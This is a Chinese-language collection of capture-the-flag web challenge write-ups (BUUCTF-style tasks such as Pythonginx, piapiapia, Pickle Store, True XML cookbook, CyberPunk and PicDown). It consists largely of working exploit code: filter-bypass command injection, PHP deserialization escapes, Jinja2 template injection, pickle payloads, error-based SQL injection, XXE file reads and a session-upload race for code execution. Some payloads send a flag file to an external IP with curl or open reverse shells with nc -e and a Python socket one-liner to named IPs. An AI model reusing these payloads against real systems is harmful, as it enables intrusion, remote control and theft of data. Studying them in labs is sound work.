  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

因为preg_match只能匹配第一行,所以这里可以采用多行绕过。 因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

1
2
3
?cmd={%0A"cmd":"/usr/bin/find / -name flag*"%0A}
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

关于preg_match,有p神曾经讲的PRCE

1
2
3
4
5
6
7
8
import requests
url='http://d5e835b5-ec7b-41b3-b1f3-8973c7ac6f60.node5.buuoj.cn:81/'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","haha":"'+'a'*1000000+'"}'
}

r=requests.post(url=url,data=data).text
print(r)

[SUCTF 2019]Pythonginx

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

从代码上看,我们需要提交一个url,用来读取服务器端任意文件

简单来说,需要逃脱前两个if,成功进入第三个if。

而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

或者用%绕过

1
U:℆    A:c/u      ascii:8454  ,因为℆经过编码解码后就是c/u,这和我们想要的file://suctf.cc/usr/local/nginx/conf/nginx.conf,刚好℆可以替代c/u

接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

image-20250221152007357

先url编码,再传参

1
/getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd

根据题目的提示得知,这里存有nginx服务贴上另外部分nginx的配置文件所在位置

1
2
3
4
5
6
7
8
配置文件: /usr/local/nginx/conf/nginx.conf
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
1
/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf

找到flag所在位置

1
/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag

[0CTF 2016]piapiapia

目录扫描有www.zip

下载源码发现有反序列化漏洞,要读取config.php来获得flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
1
2
3
4
5
6
7
8
9
if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
1
2
3
4
5
6
7
8
9
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里利用这个过滤器来绕过,参考前面的php反序列化字符逃逸

在nickname的位置写入大量的黑名单使得被替换,然后就能匹配后面伪造的photo值,读取config.php

这里我们要伪造的photo为

1
";s:5:"photo";s:10:"config.php";}

但是因为前面的nickname有长度限制要用数组绕过

因为将nickname改为数组时,它在序列化时不会像字符一样闭合,所以要加多一个}

1
";}s:5:"photo";s:10:"config.php";}
1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

image-20250223132907688

放包之后,把图片的base64解码出来就行了

[Zer0pts2020]Can you guess it?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

下面那个hash匹配随机数肯定不行,用上面的basename的bug绕过

PHP :: Bug #62119 :: basename broken with non-ASCII-chars

它会去掉文件名开头的非ASCII值:

1
2
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

这样就能绕过匹配,用config.php/%ff

因为basename函数的特性,它会返回文件名

$_SERVER['PHP_SELF']会获取我们当前的访问路径,我们构造index.php/config.php,就会返回config.php

最后访问source得到flag

1
index.php/config.php/%ff?source

[MRCTF2020]套娃

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING']这个会匹配传入的?之后的字符

_可以用空格或者.绕过,/23333$/这个只有尾部是23333才会被匹配到

用23333%0A绕过

1
2
3
?b u p t=23333%0A
或者
?b.u.p.t=23333%0A

进入下一层,注释里面一串jsfuck丢给控制台

image-20250223153905373

post传Merak,进入下一层

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

这里ip要求是127.0.0.1

添加Client-Ip:127.0.0.1

2333参数用data协议或者php://input传post也行

而file要加密

1
2
3
4
5
6
7
<?php
$v='flag.php';
$re='';
for($i=0;$i<strlen($v);$i++){
    $re.=chr ( ord ($v[$i]) - $i*2 );
}
echo base64_encode($re);

image-20250223154857700

1
?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

image-20250223160749281

[CSCCTF 2019 Qual]FlaskLight

jinja2的ssti

查找到warnings类在59

image-20250223161932486

但是后面就会回显500状态怀疑过滤了global

拼接绕过

1
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')
1
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("cat flasklight/coomme_geeeett_youur_flek").read()')}}

[watevrCTF-2019]Cookie Store

伪造cookie,base64编码得flag

[WUSTCTF2020]CV Maker

注册登入,bp改为图片格式

上传蚁剑连接

[CISCN2019 华北赛区 Day1 Web2]ikun

上来提示爆破网站,要买到lv6,我们点开lv4的回显参数page,爆破page

1
2
3
4
5
6
7
8
9
import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break

爆破出181

抓包改折扣

image-20250224195956481

得到/b1g_m4mber路由,jwt伪造,key是1Kun

image-20250224200957244

image-20250224201145799

查看源码后面能下载源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)
1
p = pickle.loads(urllib.unquote(become))

这里pickle提供了一个简单的持久化功能。用到反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中
参数讲解:
obj:想要序列化的obj对象
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.load(file)
函数的功能:将file中的对象序列化读出
参数讲解:
file:文件名称。

pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象
参数讲解:
string:文件名称。
【注】 dump()  load() 相比 dumps()  loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

检测反序列化方法:全局搜索Python代码中是否含有关键字类似import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()pickle.loads()且反序列化的参数可控。

脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

要在py2环境用

下面这个是py3的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

然后cat /flag.txt

[红明谷CTF 2021]write_shell

action传pwd,看目录

sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/

1
?action=upload&data=<?=%09`ls%09/`?>
1
?action=upload&data=<?=%09`cat%09/flllllll1112222222lag`?>

%09->空格,反引号可以执行shell命令

[watevrCTF-2019]Pickle Store

抓包拿cookie

一串base64,题目提示pickle,解码后反序列化

1
2
3
4
5
import pickle
import base64

a=pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'))
print(a)
1
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

可见其中带上了hmac验证。

接下来最简单的是直接弹shell

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
1
2
3
4
5
6
7
import pickle
import base64
class A(object):
  def __reduce__(self):
    return (eval,("__import__('os').system('curl http://119.xxx.xxx.xxx/`cat flag.txt|base64`')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
1
2
3
4
5
6
7
8
import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 119.29.60.71 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

或者cookie伪造

首先反序列化的pickle流中包含了给key赋值的操作,反序列化后key值会被覆盖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

这里把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:

1
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

[RCTF2015]EasySQL

发现有二次注入,在修改密码时触发

1
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

image-20250228000627331

1
2
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

假flag

1
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

image-20250228000812345

没回显完全,但是mid,left,right,substr都被过滤了

这里用到正则匹配regexp('^f'):查找开头f的字符串

1
2
3
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
或者reverse函数倒转
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#
1
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

extractvalue最多只能显示32位的原因,报错回显不能够完全显示flag的值,我们可以依然使用 reverse()函数,将flag值倒置输出,再利用sql语句将倒置部分恢复,将前后两部分flag拼接到一起,就可以获得完整的flag值。

1
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#
1
2
3
a='}ca0da771c04c-e69b-dab4-3f8f-e3'
b=a[::-1]
print(b)

[GWCTF 2019]枯燥的抽奖

查看源码有个check.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

利用mt_rand函数的伪随机数漏洞

先得到种子,用php_mt_seed工具爆种子

1
2
3
4
5
6
7
8
9
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='fnAeH65lyg'
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)
1
2
3
4
5
6
7
8
9
<?php
mt_srand(206304701); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;

[NCTF2019]True XML cookbook

xxe注入,但是跟这个比赛之前的不一样,不能直接读flag了

这题需要对内网的主机进行探测,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>123456</password></user>
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&abc;</username><password>123456</password></user>

image-20250301165632829

image-20250301165654650

找到ip169.254.1.1

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "http://169.254.1.1">
 ]>
<user><username>&abc;</username><password>123456</password></user>

intruder爆破c段,就是ip数字最后一个

不对,读取/proc/net/fib_trie文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///proc/net/fib_trie">
 ]>
<user><username>&abc;</username><password>123456</password></user>

image-20250301170301809

得到10.244.166.66

再次爆破,这里的爆破延时要设置

image-20250301171129435

爆出来长度正常的就是flag

或者用脚本爆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests as res
url="http://a1fb5d9d-ab10-442b-9323-727c25c3fcb6.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
         '<!DOCTYPE user ['\
         '<!ENTITY payload1 SYSTEM "http://10.244.166.{}">'\
         ']>'\
         '<user>'\
         '<username>'\
         '&payload1;'\
         '</username>'\
         '<password>'\
         '23'\
         '</password>'\
         '</user>'
for i in range(1,256):
    payload=rawPayload.format(i)
    #payload=rawPayload
    print(str("#{} =>").format(i),end='')
    try:
        resp=res.post(url,data=payload,timeout=0.5)
    except:
        continue
    else:
        print(resp.text,end='')
    finally:
        print('')

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

在源码最下面有注释

有个file参数可以读文件

伪协议读所有前面的php

1
php://filter/convert.base64-encode/resource=index.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }

一眼二次注入,这里可以在地址的地方注入

直接用报错注入的方式注入

1
2
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#

或者构造user_id的形式来注入

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

也可以这样让他报错

1
1',`user_id`=database()#
1
1',`user_id`=(select(group_concat(schema_name))from(information_schema.schemata))#
1
',`user_id`=(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining'))#
1
',`user_id`=(select(group_concat(column_name))from(information_schema.columns)where(table_name='FLAG_TABLE'))#
1
2
',`user_id`=(select FLAG_COLUMN from ctftraining.FLAG_TABLE limit
0,1)#

这里查出来空的,所以只能用上面的办法

[WMCTF2020]Make PHP Great Again

这题用session包含可以解决是非预期

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://b0634b8b-ad08-4453-9292-3efff2a49706.node5.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://b0634b8b-ad08-4453-9292-3efff2a49706.node5.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

预期解是要用到require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

[php源码分析 require_once 绕过不能重复包含文件的限制][https://www.anquanke.com/post/id/213235]

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[网鼎杯 2020 白虎组]PicDown

非预期

存在任意文件读取

直接读/flag

预期

1
2
3
读取
/proc/self/environ
/proc/self/cmdline    

有个app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

最后这个路由要求secretkey

注意关于SECRET_KEY的逻辑,虽然该文件在打开读取后被删除了,但是注意这个文件没有关闭,所以仍然可以通过/proc/self/fd/[num]访问对应文件(此处[num]代表一个未知的数值,需要从0开始遍历找出),这里在/proc/self/fd/3找到

1
07trZJM8Dfcrv49T5kZfWO7Y048PjXzSh2Q6+Gu7x9c=

下面就是弹shell

1
2
3
nc -lvp 3333

/no_one_know_the_manager?key=07trZJM8Dfcrv49T5kZfWO7Y048PjXzSh2Q6+Gu7x9c=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.122.53.248',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1
